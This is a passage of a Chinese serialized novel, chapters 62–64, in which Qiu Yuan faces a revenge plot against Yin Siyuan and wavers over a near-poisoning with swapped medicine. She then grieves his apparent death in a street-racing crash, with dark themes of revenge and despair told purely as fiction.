“我就是跟你说这事呢,你直接过来找他,我把地址发给你。”
秋原按着地址找到短信里的地点,但看着破败的大楼,有些难以置信,这难道是他们什么特殊的爱好?
满是怀疑地迈过砖块,小心翼翼走了进去,但却是空无一人。
“于果?于果。”喊了两声没人答复,她打算出去,刚转身就听到身后的动静。
“于果?殷司源呢?你们怎么在这儿?”
于果从阴暗处走来,看不清面容。
“他不在这儿。”
“你,你说什么?”
“你是殷思林吧。”说完她停在秋原不远处,只是她面部的光线正好被挡住了。
“你在说什么?”
“别跟我装糊涂了,你都查出来我是谁了,泡温泉的时候你不就发现了?我又怎么不可能知道你是谁。”
泡温泉时她无意中看到于果的身份证,可能因为自己证件本就有问题的缘故,她很快捕捉到了关键,证件照片跟她现在一模一样,还给她时留意了背面,有效期始却是五年前。但她是殷司源的朋友,她便没有多想,直到殷司源联系不上,却是在她那里。
“你果然是她的女儿?她真的骗了我。”那之后她总是想起一个人,跟眼前人神韵和外形都极为相似的人。
“这么说也不太对,不过也没人知道我是她女儿,我还有个双胞胎弟弟,我们没跟她生活过一天,有天我弟弟他们学校食物中毒,唯独死了他一个,学校餐饮负责的公司,是殷瑞生势力下的。”
“殷司源在哪儿?他知道吗?他身上的伤还没好全.”
“他怎么会知道,他要知道了,我的计划还怎么实施,我就是在等这个机会下手啊。”
“你要找他报仇?你要做什么?那些事跟殷司源没关系。”
于果摇头否认,“跟他没关系?怎么会呢。我虽然也不喜欢我妈,但泄露她身份,散布谣言,害得殷瑞生那伙人,逼死她害她失足摔死,可是他殷司源的杰作。”
秋原有种被击中心脏的感觉,太似曾相识的感觉,她跟她一样,依附着扭曲的执念活到了现在,本慌张的心绪,逐渐冷静了下来。
“那天埋伏在他家门口的,也是你找来的人?”
“对,是我。”
“那天他醉酒神志不清,你本来可以得手的,为什么突然出现?”她回想着当天的事,联想到她出现的时机,“难道是因为我?”
“对,谁让你突然回来,打乱了我的计划。”
“比起救我,你不应该更看重解决掉他的那次机会吗?”
“不不不,这些事与你无关,你不也恨他吗?说不定我们还可以联手,而且,因为你的出现,他倒是放松了警惕。”
“你们不是朋友吗?”
“哈哈朋友?我们算什么朋友,你知道溪汀有多少人恨死了殷瑞生,他胆小得自杀了,不正好还有殷司源?想拿他下手的人多了去了,前任落马市长的儿子,‘继承父业’,吸毒过量致死,多可笑的新闻,明天就会传遍大街小巷,他们名声扫地受所有人唾弃,你不想看看吗?”
“他不会死的。”
“你说什么?”
“他虽然无礼蛮横,脾气怪阴晴不定,甚至也伤害过很多人,但他没有害死过任何人,他也是殷瑞生的受害者,再怎么混蛋,也罪不至死。”
“呵呵,辛叔娅呢?你是受他蒙蔽了吧?还是他给了你什么好处?”
“我作为他的妹妹,跟他一起生活了很多年,我需要恨让我活下去,所以故意忽略他好的一面,但我心底明白,也看得清楚他是什么样的人。”说完拔腿要走。
“你去哪儿?”
“我去找他。”
于果抓住她的手腕不让她走,“你去凑什么热闹,你以为就凭你能救得了他?”
“我有很多后悔的事,要是自己再勇敢一点也许结果就不一样了,所以要是他今天死了,我不会原谅自己。”
“你是不是傻?”
“还是说我你也想解决了?”
于果气得说不上话来,这时手机响了,“喂?怎么回事?你做了什么?”
最后一句问的秋原。
“什么?我,我告诉猫找不到殷司源了。”
于果的手上施加了力道,“你!他跑了。”
秋原挣脱了她的手,松懈下来,“你还有最后一个办法,我还在你这儿。”
于果没想到她看出来她让她来的意图了,这确实是她给自己的后路。
看她久久没有反应,秋原说:“要是没有其它事,我就走了。今天你说的话,虽然他不知道,但他那么聪明的人,肯定也能猜到一二,你注意安全。”
她走了两步,停下脚步没有回头,“我很快离开溪汀了,他答应我过完年让我走的。烧仙草很好吃,可能没机会一起吃了。
这些日子,在溪汀的日子很快乐,只是突然发现,爱好像,比恨好过点,你可以试试。”
秋原在殷家的最后半年,时间倒数到那个女人到来的那一天。
殷司源可以出门正常上学了,但秋原不行,说白了还是不能因为秋原而坏了殷瑞生的名声,故而她依旧在家学习,只不过老师都换成了女的。
那个女人就是那时候出现在秋原面前的,她名叫辛叔娅,长得漂亮,整个人明媚得就像是春日晌午的太阳,是来教秋原英语课的。
辛叔娅温柔大方,谈吐得体,更重要的是她对秋原一样的好,耐心细致地教她发音,跟着她一起练习,所以她的出现无疑便成为了秋原晦暗生活中的一道光。
那半年她都尽职尽责,秋原的英语也有了很大的提升。那是她成长得最快的一段时间,不仅是英语,也学习到了很多她不曾涉猎的知识,作为一个女孩子的知识。
她教她要自信,要自
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立自强,内心强大无惧风雨,同时也要时刻保持一个女孩子的样子,大方得体。秋原望着她就像望着太阳般向往,最后离开时却把一切都还给了她。
最后的时间,辛叔娅向她讲述了自己孩子惨死火场的事,她一下子憔悴了,满是哀伤却强颜欢笑,同时还有更多的人遭遇同样的事情,就是因为殷瑞生的存在。
秋原不是不懂,新闻里播放的新闻一遍又一遍,哭泣的女人抱着死去看不出模样的孩子,学校的大火许久才扑灭,每个人脸上都蒙着灰尘,眼中满是绝望和痛苦。
她挣扎了半个月,最后把偷到的账本给了女人。而她却在拿到账本的瞬间笑了。
殷瑞生随即下台,新市长应势而生,事情顺利得不是一点,辛叔娅本不是教师,她的本职是记者,这些秋原事后才知道。
但属于殷瑞生的时代,却彻底过去了,他成了过街老鼠,所有人饭后的谈资和笑料,辉煌了半辈子,终落得锒铛入狱的下场,最后受不了牢狱的煎熬与内心的挣扎,潦草结束了自己的生命。
于果虽没得手,但殷司源具体什么状况,秋原是一无所知,她打电话给猫,猫也不说,她辗转终于找到了他,追着他问:“殷司源怎么样了?”
猫躲闪着不想回答,只是被她纠缠得倦了,“他不想见你。”
她眨了眨眼睛,还没消化他这句话,“是他说的?”
“对。”
猫看她不言,绕过她离开,又被她拦住。
“他还好吗?”
猫瞥了她一眼,神情复杂,留下两字“挺好。”便走了。
不知为何,即使听了猫的话,她仍旧心神不宁,走在人流中,突然有人拍了下她的肩膀,她还以为又是殷司源跟她开的玩笑,本不自觉的笑容在看到那人的瞬间冷凝。
“章先生?是你呀。”
“我名叫章煦,章先生章先生叫得多客套,怎么看你不太开心?”
“啊?没有啦。”说着挤出个笑容。
“上次说请你吃饭,有时间吗?”
“您太客气了,我……”
“别这么见外,走前面有家店不错。”不由分说地打断她的话,“你肯定会喜欢。”
不知章煦是否跟康静山联系过了,整顿饭他都没有提到他,很自然地跟她聊些不近不远的话题,丝毫没有让她感到难堪或是不愉快。
听闻她要回须燕市了,章煦沉默了几秒。
“你要去吗?去看……”
“我?我不去,最近店里事情有点多。”
“那你倒是出来喝酒哦。”
章煦愣了一下,随即哈哈大笑,连连拍手,“就喝了一杯你就发现了?哈哈哈有意思。”
秋原不太懂他在笑什么。
两人分开时,章煦说:“你什么时候回去,提前跟我说一声,我送你,也想麻烦你件事。”
“送就不用了,不是什么好事吧?”
章煦笑得意味深长,说着拿出笔在她手背上写下一串手机号码,“今天就不多留你了,走的那天见。”说完转身走了。
“哎!我还没答应帮你呢!”
章煦没停下只抬手挥了几下,也不知他是何意,竟认定自己定会帮他这忙?
62.蓄意自杀 06
秋原回到别墅,好好收拾了一番,整个房间恢复到之前的模样,好像他们两人这段时间没有回来生活过一般。
收拾过程中翻到了一个相机,秋原突发奇想,研究起了这个相机怎么使。
她按了开始键,重新坐回了沙发前的地毯上,镜头前的她极不自然,视线也飘忽不定,抬头整了下头发,轻咳了一声,在思索着如何开口。
“呃,哥?我……最后再这么叫一声你,”她有些难以启齿,即使约定好了,但此时在他出事之际离开,总有种临阵脱胎的羞愧感,像是趁人之危的小人。
“我,我要回去了,”又怕他听到这句话急,紧跟着补了一句,“你之前答应我的,过了年,我就可以回去了。”
镜头前的她沉默了好一会儿,不知道该说什么,“不知道你现在怎么样了,本来想见你一面,当面告别的,猫说你不想见我。”说着她低头搓着手指。
“也对,”她轻笑一声,“这么大的仇,谁也不见谁是最好的。一直想跟你说对不起的,我怕以后没机会了,道歉也该当面说比较有诚意吧,但可能,不会再见了。”
那时她大概就已想好了自己的结局,不成功便成仁,但能好好告别的人也没有。
“你父亲的事,真的对不起,但法律说他错了,所以,其实我不后悔,只是没有提前告诉你,让你……没关系你恨我吧,你之前那么折磨我,就当是对我的惩罚吧,可能即使这样,我们也两清不了,我受的只是些皮肉之苦,就,就这么欠着吧,我也不知道怎么还你,怎么补偿你。”
“这段时间,谢谢你,真的很开心,像个正常人一样,过年,吃饺子,还是你亲手做的,收到新年祝福,谢谢你,谢谢你的照顾。以前不知道,原来一个人真的能把恨放下,然后去笑去享受,没事人一样。”说完她顿了一下,理了理情绪,“但我,我不想这样。”
“可能我会后悔吧,哈哈,”很干的两声笑,然后是良久的沉默,她脑海中想起几年前生活在这里的时间,几天前重返这里过的春节,那些时间都好遥远了,却又好近的样子,一伸手,似乎就能抓得住。
最后,她说:“我走了,你注意身体,保护好自己,别做坏事,要好好的。”
说完对着镜头咧嘴大笑。再然后,出了镜头,几秒的空白,录像结束了。
她把相机放在茶几上,钥匙留在旁边,最后看了一眼房间,锁上门走了。赤条条来,再赤条条走,真不像她的风格。
刚走几步,她愣住了,看着不远处的人,小跑着过去。
“他怎么样?出什么事了吗?”
猫丢了烟头,踩了一脚,“他送你。”
秋原看到驾驶座上一位没见过的中年男人,“我坐大巴车回去就行。”
猫倒是没听进去这句话,掏出一张卡和钥匙,递给她,“密码写在背后了,钥匙他说你知道是哪儿的。”
“是他让你来的?”
“行了,赶紧去吧。”
秋原却站着不动。
“怎么了?”
她想了想,还是没再说什么了,“没事,我走了。”
没说再见,她觉得他们不会再见了。
“师傅,麻烦先去个地方吧。”
车停在一家私人诊所门前,秋原刚下车,就有一个长相甜美的女孩子来迎她。
“秋原小姐是啊,章医生在等着了,您跟我来。”
上了二楼,装修简单,根本看不出这是家诊所,女孩儿敲了敲门,“章医生,秋原小姐到了。”
章先生起身迎她,“请。”
坐在章煦对面,总有种看病的感觉,“章医生,你这里,不像是诊所。”
章煦微笑着,时刻都是很得体的状态,“是吗?来我这儿的,都是这里出问题的。”说着指了指太阳穴的位置。
秋原一时间不知道该说什么,“对了,你之前说需要我帮忙的。”
“对,也是麻烦你了,特意来一趟。”说着拿出一个小箱子,打开放在秋原面前,“这是静山的药,麻烦你带给他。”
秋原看了看那些不知名的药,视线回到章煦身上,“章医生,你可能还不知道,我跟静山,闹了点不愉快的事……”
“不方便见他?”
秋原低下头不言。
章煦倒也没勉强,扣上了药箱,“没事,倒是我麻烦你专程过来,急着回去吗?请你吃饭吧,上次那家店看你不太喜欢,要不……”
“章先生,不占用您时间了,司机师傅还在等着,这药,我帮你带给他。”
“别勉强自己。”
“不勉强的。”
章先生重新打开了药箱,拿出来两小瓶药,“这两样很像,你跟静山说一下,按我写的药方来,要是喝错了,我可救不了他,让他自己准备棺材吧。”
“这么严重啊?”
“是药三分毒,这两搞错了那就是十分毒,所以你说呢?”
秋原仔细地看着他手里的药瓶,点了点头。
告别了章医生,秋原重新踏上了回程路,车窗外变换的街景陌生得不得了,她是怎么来的,又这样稀里糊涂地回去,蜷在后排座外的她头脑昏昏沉沉,不知路过哪棵树时睡了过去。
自动取款机前,秋原输入密码,被卡里的余额惊到了,按下取款,收好取出来的一千块。走了几步,后脑勺不知被什么小东西砸了一下,她回头看也没有可疑的人,继续走,又不知何处冒出来的小石子,回头还是没有。
快走几步拐了个弯,等了几秒没有人追上来,她探出头查看情况,没有可疑的人,她满心狐疑,转身吓了一跳。
一到她半身高的小女孩,瞪着大眼睛贴在她身前。
秋原惊得后退几步,手扶着墙,“你谁啊?”
女孩丝毫不见外,也不怵人,“姐姐,我想吃蛋糕,买给我吧。”
秋原听这没头没脑的“要求”,真不知是自己做梦还是怎的,“你爸爸妈妈吗?怎么一个人跑出来,走丢了找不到家了?”
“姐姐,蛋糕在那边,我带你去。”说着抓着她的手要拉她走。
秋原摆脱了她的手,面对一个半大的小屁孩她竟然这么受挫,“你赶紧回家,我要回去了。”说完走反方向绕了远路,才回到了住处。
这里她既陌生,又熟悉,不知何时殷司源把那件不透光的小房间敲掉了,其它倒没什么改变,她瞥到放在地上的小药箱,回来一周了,她还是没想好。
转眼已到惊蛰,干燥许久的天不知何时飘起淅沥沥的小雨,灰暗,肃穆,冬日的庄重还尚未完全褪去,这点雨许是春日的前奏,倒是没那么清冷了。
雨滴嗒在伞面上,略沉闷的声响,看着下一秒就要停的雨竟持续了小半日,此时这天伞也可不打,只是衣面很快蒙上一层小水珠。迎面男子行色匆匆两把伞撞了个结实,许是男人理亏,没说话绕路走了。
一辆自行车停在路边,秋原也没抬头看,习惯性低着头走路,也不怕撞上谁的视线。
“秋原。”
她停下脚步,迟缓得像个老年人,转身看到熟悉的面孔,说不上来的感觉。
麦子放下衣服上的帽子,“好久没见你了。”
“是啊,好久没见了。”
“你这是去哪儿?酒吧?”
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>她正是去酒吧的路上。
“嗯。这是章先生给静山的药,托我带给他。”
“我帮你带……”
话说到半截,麦子觉得不太对,她可能也想见静山哥,忙改了口,“我带你。”
秋原望了眼酒吧的方向,笑着说:“你帮我带给他吧。”
麦子接过药箱,“去酒吧坐坐吧,我请你喝酒。”
“山南哥准你喝酒了?”
麦子一脸郁闷,“今年我就成年了!”
“那也到年底了吧。”秋原不知是不是错觉,离开酒吧后,麦子对她似乎不那么抵触了,“我就不去了,用法写在纸条上了,不要搞错了,我走了。”
“行,拜拜了。”
本是秋原先走的,没两步又停了下来,望着麦子的背影陷入沉思。她脑海中想象着接下来会发生的事,麦子进入酒吧,跟山南哥,陆川问好,把药交给陆川,不,以麦子的性格,怕是不会错过这个借口看静山的机会,他会把药亲自送到静山房间,而据章先生所说,静山的药断了有段时间了,两边都顾不上见面,该吃的药这才一拖再拖,所以晚饭前这个点,陆川大概会要求静山喝一次药。
她抬脚往回走,看似出了神,脑海中却是翻涌着千层浪。那些药,是麦子拿给他的,所以跟她,其实也没什么关系。洗脑般重复着这些话,好像多想几遍就能成真,可她连自己都说服不了。
可是康静山活着是不会让警察抓到周星耀的把柄的,要想将周星耀绳之以法,就必须先除掉康静山。这是她这些日子最终认清的现实,可水泼出去了她又犹豫了。
要是康静山真的死了,麦子怎么办?麦子怎么可能接受得了借自己的手害死了静山哥?如果真的要除掉康静山才能施展正义,她跟周星耀又有什么区别?
她停下脚步,伞丢在地上,仰面望着天空,雨滴落在镜片上,模糊了视线,她卸下眼镜,灰蒙蒙的天空相差无几。燥热的心绪却愈演愈烈。
我真的想他死吗?要是这是唯一能成功的机会,放弃了便再没可能实现所愿,能接受这个结果吗?
可康静山帮周星耀就相当于他也在做坏事,所以康静山也是有错。那她以正义之名不择手段,就像多年前她为了辛叔娅的正义偷取殷瑞生的账目害他入狱一样,伤害远比正面效果来得多。
她陷入痛苦的自我挣扎中,要是她是个不计后果的人多好。
雨渐渐停了,只天色已晚了,今日这天也不会再明媚起来,她戴上眼镜往反方向跑,踩在小水坑上溅起不可名状的水花。
酒吧门口,麦子的自行车放在正中央,她气喘吁吁扶着门框,眼见麦子拿着喷壶和毛巾走出来。
“你怎么跑成这样了?”
她抓着麦子的袖子急切地说:“药呢?静山喝了吗?”
不知陆川何时出现,意味深长地看着她,飘悠悠来了一句,“没有,有两味药有问题在跟章医生确认。”
“哦,那就好。”
“怎么了?”麦子一脸不解。
“没事,”秋原躲闪着目光,“跟章医生确认清楚再喝。”
“那喝一杯吗?要不我带你去见静山哥吧。”
此时他就在楼上,刚可能还从麦子口中听闻她的消息,不知道他现在怎么样了,但她还是拒绝了,“不了,我要回去了。”
麦子疑惑地目送她离开,擦起了自行车,“真是搞不懂女生的心思。”
“麦子。”
“嗯?”
陆川想了一下,改口说:“算了,没事。”
麦子看陆川回去了,挠挠头,“怎么陆川哥的心思我也看不懂?”
63.蓄意自杀 07
没了档案,江岩借助人脉刷脸一个个找局里的老民警,再加上高副局的授意和帮助,逐渐还原了当年的调动。
那时李辉俞参加工作有两三年了,不算多突出,但也稳扎稳打。当年发生了挟持公交车事件,嫌疑人报复社会挟持了一辆公交车,大都是老人妇女和小孩。
李辉俞在那辆车上,可能因为他身板瘦小,嫌疑人根本没把他放在眼里,正好给了他机会,协助狙击手击毙了嫌疑人,而他也为了保护被挟持的小女孩而身重数刀。
因为这件事,他获得了市里的表彰,紧接着就是升迁,自此一路青云。当时跟他走得近的人不少,有个名叫赖仓的人引起了江岩的注意。这个人多次犯纪,但仍活跃在一线,在李辉俞被调走一年后,也调去了同一个地方。
“这个叫赖仓的人还能找到吗?”
“只有个名字?”乔树问道。
说来也奇怪,档案没了也就不谈了,但局里所有的地方都没有这个人的照片。
“有点问题……这样,你明天找技术科的老辞,让他再详细描述下这个人。”
“老辞?”乔树镜片下的眼睛炯炯有神,“辞老教授?”
“对,就是他。”
乔树撇撇嘴,扶了下眼镜,“辞老教授要是听你这么喊他,气得不得拆了我们办公室。”
秋原换了新的眼镜,不知为何最近视力下降得很快,出了眼镜店没多远,被突然出现的人挡住了去路。
“姐姐,我想吃棉花糖,给我买棉花糖吃吧。”
仔细看才发现和上次拦路要吃的的小孩是同一个,“怎么又是你?”
“姐姐我知道你有钱。”
“你看我像有钱人吗?”
“姐姐你看着就不是有钱人,但我看到你银行卡里有好多好多钱。”
她大惊,想起上次见她是在取完钱后。
“姐姐你住的房子那么好也不是你的,钱也不是你的,所以要赶紧花出去才行。”
“你知道我住哪儿?”
“知道啊。”她熟练地报出她住所的地址。
“钱和房子是不是我的跟你没关系,别来找我要吃的。”说完绕过小女孩要走。
“姐姐。”女孩倒也不急,相当成熟老成地说:“我可以帮到你,不论你想干什么。”
秋原听到这话简直难以置信,一个只到她半身高的小女孩说能帮到她,“别胡闹了,我没心思陪你玩。”
“姐姐,我离家出走了,没饭吃没床睡,你要是带上我,我可以帮你搞到周星耀。”
“你说谁?”
“周星耀啊,你这几天不都是在跟踪周星耀吗?”
“你知道周星耀?”
“啊姐姐是冰淇淋,你给我买冰淇淋我就告诉你。”说完做出一个鬼脸。
冰淇淋店,名唤阿新的小女孩坐在椅子上,双脚挨不着地,晃荡着两条小短腿,一勺一勺吃得欢乐。
“你认识周星耀?”
“认识啊。”
“你是谁?”
“姐姐可以叫我阿新。”
“阿新?你父母是谁?”
“啊我忘了,”小女孩跳下椅子,离门口近一溜烟跑了,“姐姐我走了咱们改天见。”
被一个小屁孩耍了一道,秋原心生郁闷,脑海中闪现殷司源的脸,她一惊,怎么会想到他?也不知他现在怎么样了。
辗转找到了蛇尾,没想到他还记得她。
“哟你还活着啊,这么久没见你还以为康老板悄无声息把你解决了呢。”
秋原没理会他的风凉话,“你也还活着啊。”
“哈哈哈怎么?有钱了你?”
“周星耀最近行踪反常,我想知道他要做什么。”
“哟呵,你这是跟周老板刚上了?要弄清楚他要做什么,我这辈子都不用跟你做什么买卖了。”
“查不到的意思了?”
秋原拿着信封的手收了回来,蛇尾一下子抢了过去,打开信封快速瞅了眼,塞到了裤子口袋里。
“查到了可就得翻三倍了。”
“成交。”
等蛇尾离开,秋原才走。此时夜色悄然跃上,迎面微风出奇地让人舒爽,她松了松脖子里的围巾,不想绕远从市中心步行街返程,不知今天是什么日子,街上的人还挺多。
“哎我在这儿。” 迎面的女孩子跳跃着招手,说完跑过来,书包上的拉链挂到了秋原的围巾,身子被一带眼镜先掉了。
“啊对不起对不起,我拿纸巾擦一下吧。”
秋原接过她捡起的眼镜,抬头看周围的瞬间感到一阵恍惚,模糊晃动的周遭令她不安。
“真对不起,我来帮你擦。”
“不用了,没事的。”秋原接过她手里的纸巾,擦了擦镜片重新戴上,低声说了句“谢谢。”
女孩满脸歉意,目送她离开。
“怎么了?谁啊?”招手的女孩跑了过来。
“海蓝你慢一点。”又一个女生气喘吁吁地跟上来。
“哦没什么,刚不小心撞到一同学的眼镜。”
女孩看了眼那人离开的方向,熙攘的人群早不知换了几拨,漫不经心地说:“哦没看到啊。”
三个人并肩走了。
秋原收到了蛇尾的相片,周星耀名下的酒店前,一行看不出端倪的人,难不成蛇尾耍她?
不对,仔细看,侧身对着镜头的男人,很像余海?相片的角落,有半个小姑娘的身影,说不上来的熟悉。
“姐姐姐姐,请我吃冰淇淋吧。”
冷饮店,秋原时刻注视着对面的人,生怕她又溜了,“你是谁?”
“姐姐我是阿新啊。”女孩说完喂了自己一大勺。
“你父母是谁?”
“我父母啊,我爸叫余海,好多人说我爸是老来得女,老来得女很开心吗?搞不懂,不过我爸确实快四十了,我妈跟你差不多大呢。我喜欢说我是海的女儿,不知道为什么一听这话就他生气,丢下我就走,我赶紧跑着追上去,怎么也赶不上。
他总说我是小孩子什么都不懂,但其实我知道好多,比如周星耀是敌人,你是可以利用的人。”说着舔了下勺子,毫无多余的感情色彩,坦然得比太阳下化掉的冰淇淋还简单。
“后来我长大了一点点,他也不跟我玩了,总是忙啊忙啊忙啊。所以我一直关注他是怎么生活的,他在做什么,他想干什么,他讨厌猎狗,所以我帮他把猎狗处理掉了,跟了他很多年的猎狗,他都不知道是我干的哈哈,他就是太心软了,要不然怎么可能留了康静山一口气,他也没想到他都那样了还能活,吃了哑巴亏也不急,改口说他是给自己留条后路,但其实啊,我跟你说,留的后路,从来都是给自己准备的坟墓。我觉得他真的老了,嗯。”说完还自己信誓旦旦地点点头。
“你想知
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道猎狗长什么样吗?我跟你说啊跟你一个样子的,两眼睛两只手的,我讨厌吵闹的人,它就太吵了,唧唧哇哇咋呼不停,吵死了,所以像你这样安安静静的模样不错,我喜欢。”
阿新并不是完全理解对面的人所表现出的感情,惊讶?愤怒?恐惧?仇视?她还读不太清楚。
“我跟你说啊,想干掉周星耀的多了去了,昨天有今天也有,你不太行,还不如乖乖等着他们狗咬狗。”
“你找我做什么?是你爸爸让你来找我?”
“怎么可能?我来找姐姐请我吃冰淇凌啊。”
“除了这个。”
“姐姐好看啊。”
“还有呢?”
“还有?我可以帮姐姐啊。”
“帮我什么?”
“周星耀啊,我爸老是不听,周星耀早晚坏了他的棺材本,不过也是,他恨得牙痒痒也干不过周星耀。”
“你爸爸做不到,你能除掉周星耀?”
阿新摇摇头,“我也不行。”
“所以你打算利用我做什么?”
阿新咧嘴大笑,“我还没想好。”
“余海知道你找我吗?”
“他不知道,他要知道了我还怎么吃冰淇淋啊。”
秋原还难以猜透这个小姑娘在想什么,要盘算什么,不自觉地想要跟她拉开距离。
店里的电视机播放着,“……插播一条新闻,今日16时香临路发生连环撞车事故,事故造成一人当场死亡,多人受伤,从现场实拍我们可以看到一辆赛车起火损毁严。事故原因系几名男子街头赛车……”
阿新看她望着自己背后,回头一看注意到电视机,“姐姐,你不热吗?”
“热?”秋原这才回过神来,阳光斜照而来,亮丽的光辉落在身上,像是受着保护和眷顾一般。
手机突然响了,她看着屏幕上的闪烁突然不想接,“喂?”
秋原脑袋一阵轰鸣,外界什么声音也听不到,她浑身颤抖,颤巍巍起身。
“姐姐?你怎么了?”
她冲了出去,拦了辆车,“去香临路。”
司机愣了一下,“那边堵了,过不去。”
“去香临路!”她近乎歇斯底里地吼道。
司机从后视镜看了她一眼,没再多言。
江岩手机响了,挂上电话跟乔树说:“她来了,你去接她。”
乔树并不同意他当时给秋原打电话,但此时也是按照江队的吩咐去隔离区外接秋原。
秋原失魂落魄地走过来,江岩挡在她面前,“车起火爆炸了,看不出人样了,你确定,要看吗?”
秋原绕过他,明火已经扑灭,只剩下一堆烧焦变形的废铁,不仔细看看不出其中还有个人,已经烧成炭灰的人,辨不清面目,分不出体形。
“是,他吗?真的是他吗?”秋原反过来抓着江岩问道,她难以相信,那么鲜活的一个人,活生生存在的一个人,会笑会发脾气,怎么会变成眼前这副模样,他跟她说的最后一句是“你等我。”
她还在等啊,他怎么就爽约了呢?
“是他,同行的人已经确认了。”顿了一下接着说:“你别过去了,剩下的交给我们来处理。到时候尸体……”
秋原走近两步,看着出事的车,他就死在那团黑乎乎的东西里面。一时间胸口憋闷,咳出一团血,硬生生栽倒在地。
“秋原!”
64.蓄意自杀 08
“你醒了?”穿白大褂的医护人员问道,“还有什么不舒服的吗?”
秋原挣扎着起身,他死了事实一下子扑面而来,压得她喘不过气来,头痛欲裂,她说着没事下了救护车。
她昏迷没多久,现场的隔离还没撤掉,还有穿警服的人走动。她没找到江岩和乔树,拉住走过的一个警察。
“车祸死掉的那个人呢?”
“你是谁啊?怎么在这儿?”
“我……我是家属……”她声音低了下去。
“家属?你是死者家属?尸体已经带回去了,等确定不是人为,就可以把人领回去了。”
“不是人为?还有可能是人为?”
“这些人街头赛车危害社会秩序已经不是一次两次了,借着赛车名义的杀人案也不在少数,你还是等通知吧。”警察说完要走。
“哎,和他一起的人,是周星耀吗?”
“你知道得还挺多哎?”
“他,没死?”
“送医院抢救了,还不知道情况。”
秋原回到住所,站在殷司源的卧室前,整个房子是他的,卧室是他的,可他人却不在,她走到床边,房间规整得看不出他曾生活过的痕迹。
她按响了电话,“喂是我。真的是他吗?”
“是他。”
过了好一会儿,她才说话,“周星耀呢?”
“重伤,还没脱离危险。”
“是他害死他的吗?”
“有这个可能。”
“我什么时候……”
“你知道他吸毒吗?”
秋原鼻子一酸,差点哭出声,“他不吸毒,是被人陷害的。”
“那你做好心理准备。”
“你什么意思?他吸不吸毒跟他死有什么必然联系吗?你是警察,抓坏人不是你应该干的吗?”
“你冷静点。”
秋原稳了稳情绪。
“你还相信我吗?”
听到这句话,秋原沉默了,她抹去脸上的泪水,冷冷地说:“信也好,不信也好,他不都死了。”
这下轮到对面沉默了。
“对不起。”秋原匆忙挂了电话。
寂静无比的深夜,安眠药洒了一桌子,酒瓶子东倒西歪,秋原举着酒瓶,踉跄着走到卧室门口,眼中是无限的悲伤,轻声说道:“你那么混蛋的一个人,怎么能比我先死呢?不是说王八活千年吗?不是说祸害留万年吗!你倒是活给我看看啊!你不是让我等你的吗?混蛋!你们殷家没人了你知道吗!”说完她弯下腰掩面痛哭。
她趴在床上,在药物和酒精的作用下沉沉睡了过去。在他曾经生活过的房间,曾睡过的床,盖过的被子,都在诉说着他曾活着的事实,可眼前他不在了,他走了,再也不会回来了。
离开曾是她干的事,留下所有烂摊子仓皇而逃,可是报应?现下他潇潇洒洒地走了,连告别都没跟她说过,倒真像是他的作风。
乔树给她打电话时,她不知道自己昏睡了有多久,睡睡醒醒,安眠药和酒精是好东西,愈发觉得活着果真没意思。没人在意她,连恨她的人都没有了,又何必存在着呢,她颓废地呆坐在床上,抬头望着窗帘缝中透过的光,微弱而渺茫,下一刻就被无尽透不过光的黑暗所吞噬。她感觉自己要腐烂了,从内里散发出恶臭的死亡味道,她觉得自己要不行了,不可抑制地思念殷司源,生动存在的人,现在只剩下一个名字,一盒灰烬。
尸体火化了,通知她去取。
秋原抱着盒子,险些要站立不住。调查得怎么样,乔树什么都没跟她讲。
走了没多远,秋原觉得自己被掏空,倦意来了怎么也挡不住,就近找了个公交站,瘫软地坐下。
她把盒子放在一旁,疲倦地闭上双眼,感觉□□不再属于自己。
不知什么挡住了光,她累得不想睁眼,过了会儿才抬起眼皮,看到一个人影。
“这就是他的骨灰?”
猫简单束起头发,一身黑色休闲衣不知刻意还是无意。
秋原看了眼盒子,“嗯”这个字浑浊在口腔中,冗长而晦涩。
“警察说是赛车超速发生的意外,车烧了,人……”
“不用说了,不过酒肉朋友。”他说得格外冷静,听不出多余的感情,好像那盒子里装的,不过是不知名的点心,他的视线从骨灰盒上收回,递给她一个档案袋,“这是他给你的,他说其他人可能死了,殷思林还在。他给你新办了身份证,还有他名下的资产全都转到你这儿了,别墅的钥匙也在里面,它以后归你了。”
秋原伸出双手,却不敢碰到,终于忍不住蒙面大哭,“我不要我不要,我不要这些,我只要他还活着。”
路过的人无不诧异看着奇怪的两人,猫把档案袋放在她旁边,没人注意到他摸了一下骨灰盒,不动声色地走了。
秋原抱着骨灰盒,像是具没有灵魂的躯壳,跌跌撞撞不知险些撞到多少人。
“姐姐,我可算找到你了,请我吃冰淇淋吧。”
秋原没理她,径直走了。
阿新小跑几步挡在她面前,“姐姐你怎么还伤心呢?这人都死了多少天了,骨灰都臭了。”
看她依旧不理她,反而绕过她走了,阿新伸手拉住她,“姐姐,死都死了,赶紧丢了我们去吃冰淇淋吧,拿着这玩意儿多晦气。”
“你知道什么!”秋原怒吼道,“你知道他是谁吗就说这样的话!”
阿新嘀咕着不服气,秋原摆脱她走了。
他是谁呢?她又是谁呢?她又有什么资格说那些话,她又有什么资格拿着他的骨灰。意识的漩涡一发不可收拾,搅扰得她无处遁形。
秋原侧身蜷缩在床上,抱着骨灰盒,地上散落的是猫给她的档案袋里的东西,厚厚一摞各种文件证明,还有钥匙。
她手里握着身份证,殷思林的身份证,她的身份证。
沈泠溺水死了,秋原横死街头,最后接纳她的,竟是她不顾一切想逃离的殷家。她也有合法的身份了,不是被抛弃的人,是法律认可的,是有人认可的身份,可最后认可她的人却不在了。
她哭着泪水干了又湿,紧闭着窗户和房门,想留下残存的熟悉的气息,可她抱着坚硬棱角分明的骨灰盒,怎么也接受不了,他就在她身边,可为何是这样的姿态。
门外动静响了好久,最后也归于平息,秋原重新闭上了双眼,屏蔽了外界的一切。微弱的声响,秋原的意识浅显地被拉回现实,但她并没有在意,直到卧室门被打开,蒙着头的被子被掀开,窗帘被人拉开,刺眼的光让她无处遁形。
秋原花了好一会儿才适应了光线,模糊看到于果站在窗户前,她躺着不动,睁开的眼也没有神,像是没有灵魂的木偶。
于果皱眉看着她这副颓废的模样,怀里还抱着个盒子。
“那是什么?”
“是他啊,你不认识他了吗?”她的嗓子干哑,声音很难听,圈着盒子的胳膊不自觉地收缩。
“他死了你就这么糟践自己?我看你跟他关系也没好到这个地步。”
秋原的眼睛渐渐有了神,消化了她的话,转而是愤怒,坐起身来,“你害他还不够吗?他死了还来说风凉话。”<
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p>“我是害他一回,可你也别忘了他的手也干净不到哪儿去。”
“你!”几天未进食秋原身体格外虚弱,一时气急昏了过去。
